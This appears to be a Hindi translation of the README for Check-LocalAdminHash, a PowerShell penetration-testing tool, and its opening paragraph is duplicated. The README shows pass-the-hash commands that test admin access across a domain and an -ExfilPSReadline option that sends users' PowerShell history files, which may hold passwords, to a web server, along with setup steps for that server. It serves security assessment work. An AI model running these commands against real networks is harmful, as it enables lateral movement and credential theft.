
Check-LocalAdminHash एक PowerShell उपकरण है जो WMI या SMB के माध्यम से कई होस्टों पर पासवर्ड हैश का उपयोग करके प्रमाणीकरण करने का प्रयास करता है ताकि यह निर्धारित किया जा सके कि प्रदान की गई क्रेडेंशियल एक स्थानीय व्यवस्थापक है या नहीं। यह उपयोगी है यदि आप किसी उपयोगकर्ता के लिए पासवर्ड हैश प्राप्त करते हैं और देखना चाहते हैं कि वे नेटवर्क पर कहाँ स्थानीय व्यवस्थापक हैं। यह मूलतः मेरे दो पसंदीदा उपकरणों का एक फ्रेंकस्टाइन है, साथ ही मेरे कुछ स्वयं के कोड भी हैं। यह क्रेडेंशियल जाँच भाग के लिए Kevin Robertson (@kevin_robertson) के Invoke-TheHash प्रोजेक्ट का उपयोग करता है। इसके अतिरिक्त, स्क्रिप्ट प्रशासन पहुँच के परीक्षण के लिए लक्ष्य खोजने हेतु डोमेन कंप्यूटरों की गणना करने के लिए Will Schroeder (@harmj0y) और Matt Graeber (@mattifestation) द्वारा PowerView के मॉड्यूल का उपयोग करती है।
Check-LocalAdminHash एक PowerShell उपकरण है जो पासवर्ड हैश का उपयोग करके WMI या SMB के माध्यम से कई होस्टों पर प्रमाणित करने का प्रयास करता है ताकि यह निर्धारित किया जा सके कि प्रदान की गई क्रेडेंशियल एक स्थानीय व्यवस्थापक है या नहीं। यह तब उपयोगी होता है जब आप किसी उपयोगकर्ता के लिए पासवर्ड हैश प्राप्त कर लेते हैं और देखना चाहते हैं कि वे नेटवर्क पर कहाँ स्थानीय व्यवस्थापक हैं। यह अनिवार्य रूप से मेरे दो पसंदीदा टूल्स और कुछ मेरे अपने कोड का फ्रैंकेंस्टीन है। यह क्रेडेंशियल जाँच भाग के लिए केविन रॉबर्टसन (@kevin_robertson) के Invoke-TheHash प्रोजेक्ट का उपयोग करता है। इसके अतिरिक्त, स्क्रिप्ट विल श्रोएडर (@harmj0y) और मैट ग्रेबर (@mattifestation) द्वारा PowerView के मॉड्यूल का उपयोग करती है ताकि परीक्षण के लिए लक्ष्य खोजने के लिए डोमेन कंप्यूटरों की गणना की जा सके।
इस स्क्रिप्ट के अस्तित्व में आने का कारण यह है कि एक मूल्यांकन के दौरान मैं नेटवर्क पर प्रत्येक सिस्टम से सभी PowerShell कंसोल इतिहास फ़ाइलें (PSReadline) एकत्र करना चाहता था। PSReadline कंसोल इतिहास अनिवार्य रूप से bash इतिहास का PowerShell संस्करण है। इसमें कई दिलचस्प चीजें शामिल हो सकती हैं जो लोग अपने टर्मिनलों में टाइप करते हैं, जिसमें पासवर्ड भी शामिल हैं। इसलिए, इस स्क्रिप्ट में सभी PSReadline फ़ाइलों को बाहर निकालने का एक विकल्प भी शामिल है। इसके लिए कुछ सेटअप की आवश्यकता है। सेटअप के लिए Readme का अंत देखें।
अधिक जानकारी के लिए ब्लॉग यहाँ पढ़ें: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
यह कमांड सभी सिस्टमों को देखने के लिए डोमेन 'testdomain.local' का उपयोग करेगा और फिर प्रत्येक को उपयोगकर्ता 'testdomain.local\PossibleAdminUser' और एक पासवर्ड हैश के साथ WMI के माध्यम से प्रमाणित करने का प्रयास करेगा।
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
यह कमांड सभी सिस्टमों को देखने के लिए डोमेन 'testdomain.local' का उपयोग करेगा और फिर प्रत्येक को उपयोगकर्ता 'testdomain.local\PossibleAdminUser' और एक पासवर्ड हैश के साथ WMI के माध्यम से प्रमाणित करने का प्रयास करेगा। फिर यह प्रत्येक सिस्टम पर प्रत्येक प्रोफ़ाइल के लिए PowerShell कंसोल इतिहास फ़ाइलों (PSReadline) का पता लगाने का प्रयास करता है और उन्हें एक वेब सर्वर पर POST करता है। सर्वर सेटअप के लिए Readme का निचला भाग देखें।
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
यह कमांड एक लक्ष्य सूची उत्पन्न करने के लिए प्रदान की गई CIDR रेंज का उपयोग करेगा और फिर स्थानीय उपयोगकर्ता 'PossibleAdminUser' और एक पासवर्ड हैश के साथ WMI के माध्यम से प्रत्येक को प्रमाणित करने का प्रयास करेगा।
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
यह कमांड प्रदान की गई लक्ष्य सूची का उपयोग करेगा और प्रत्येक होस्ट को स्थानीय उपयोगकर्ता 'PossibleAdminUser' और एक पासवर्ड हैश के साथ SMB के माध्यम से प्रमाणित करने का प्रयास करेगा।
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
यह कमांड उपयोगकर्ता Administrator के लिए सिस्टम 192.168.0.16 के विरुद्ध SMB के माध्यम से स्थानीय प्रमाणीकरण करने का प्रयास करता है।
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - प्रमाणीकरण प्रयास के लिए उपयोगकर्ता नाम।
PasswordHash - उपयोगकर्ता का पासवर्ड हैश।
TargetSystem - प्रमाणीकरण प्रयास के लिए एकल होस्टनाम या IP।
TargetList - स्कैन करने के लिए होस्टों की सूची, प्रति पंक्ति एक
AllSystems - एक स्विच जो सक्षम होने पर PowerView मॉड्यूल का उपयोग करके सभी डोमेन सिस्टमों की गणना करता है। फिर इस सूची का उपयोग स्थानीय व्यवस्थापक पहुँच की जाँच करने के लिए किया जाता है।
Domain - यह वह डोमेन है जिसका PowerView सिस्टमों की खोज के लिए उपयोग करेगा।
UserDomain - यह प्रत्येक सिस्टम में प्रमाणित करने के लिए उपयोगकर्ता का डोमेन है। यदि डोमेन क्रेड के बजाय स्थानीय क्रेड का उपयोग कर रहे हैं तो इस फ़्लैग का उपयोग न करें।
Protocol - यह सेटिंग है कि WMI या SMB का उपयोग करके हैश की जाँच करनी है या नहीं। डिफ़ॉल्ट 'WMI' है लेकिन इसके बजाय जाँच करने के लिए इसे 'SMB' पर सेट करें।
CIDR - CIDR फॉर्म नेटवर्क रेंज निर्दिष्ट करें जैसे 192.168.0.0/24
Threads - डिफ़ॉल्ट रूप से 5 थ्रेड। (मैंने 15 से अधिक थ्रेड सेट करने पर कुछ अजीब समस्याओं का सामना किया है, कुछ परिणाम वापस नहीं आते हैं।)
ExfilPSReadline - प्रत्येक सिस्टम के लिए जहाँ प्रमाणीकरण सफल होता है, वहाँ PSReadLine कंसोल इतिहास फ़ाइलों (PowerShell कमांड इतिहास) का पता लगाने के लिए एक PowerShell कमांड चलाता है और फिर उन्हें एक वेब सर्वर पर POST करता है। सर्वर सेटअप के लिए Readme देखें।
यह आपकी चेतावनी है कि आप एक इंटरनेट-मुखी सर्वर सेटअप करने वाले हैं जो फ़ाइल अपलोड स्वीकार करेगा। सामान्यतः, ऐसा करना बहुत बुरी बात है। इसलिए ऐसा करते समय निश्चित रूप से सावधानी बरतें। मैं फ़ायरवॉल नियमों को लॉक डाउन करने की सलाह दूंगा ताकि केवल वही IP जो PSReadline फ़ाइलें अपलोड करेगा, वेब सर्वर तक पहुँच सके। साथ ही, सुरक्षा के विषय पर, यह HTTPS कनेक्शन के साथ ठीक काम करेगा, इसलिए अपना डोमेन और प्रमाणपत्र सेट करें ताकि PSReadline फ़ाइलें नेटवर्क पर एन्क्रिप्टेड भेजी जा सकें। आपको चेतावनी दी गई है...
एक सर्वर सेटअप करें जहाँ आप फ़ाइलें भेजना चाहते हैं। यह सर्वर प्रत्येक सिस्टम से HTTP/HTTPS पर पहुँच योग्य होना चाहिए।
इस रिपॉजिटरी से index.php स्क्रिप्ट कॉपी करें और इसे अपने वेब सर्वर पर वेब रूट (/var/www/html) में /index.php पर रखें।
एक अपलोड निर्देशिका बनाएँ
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
अब जब आप -ExfilPSReadline फ़्लैग के साथ Check-LocalAdminHash चलाएँगे, तो यह प्रत्येक PSReadline (यदि कोई हो) को आपके वेब सर्वर पर POST करने का प्रयास करेगा।
Check-LocalAdminHash मूलतः मेरे दो पसंदीदा टूल्स, PowerView और Invoke-TheHash, का फ्रैंकेंस्टीन है। 95% कोड इन दो टूल्स से आता है। इसलिए श्रेय केविन रॉबर्टसन (@kevin_robertson) को Invoke-TheHash के लिए, और विल श्रोएडर (@harmj0y), मैट ग्रेबर (@mattifestation) (और कोई भी अन्य जिन्होंने PowerView पर काम किया) को जाता है। इन दो टूल्स के बिना यह स्क्रिप्ट अस्तित्व में नहीं होती। साथ ही, थ्रेडिंग में मदद और सामान्य तौर पर एक शानदार व्यक्ति होने के लिए स्टीव बोरोश (@424f424f) को भी धन्यवाद।
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1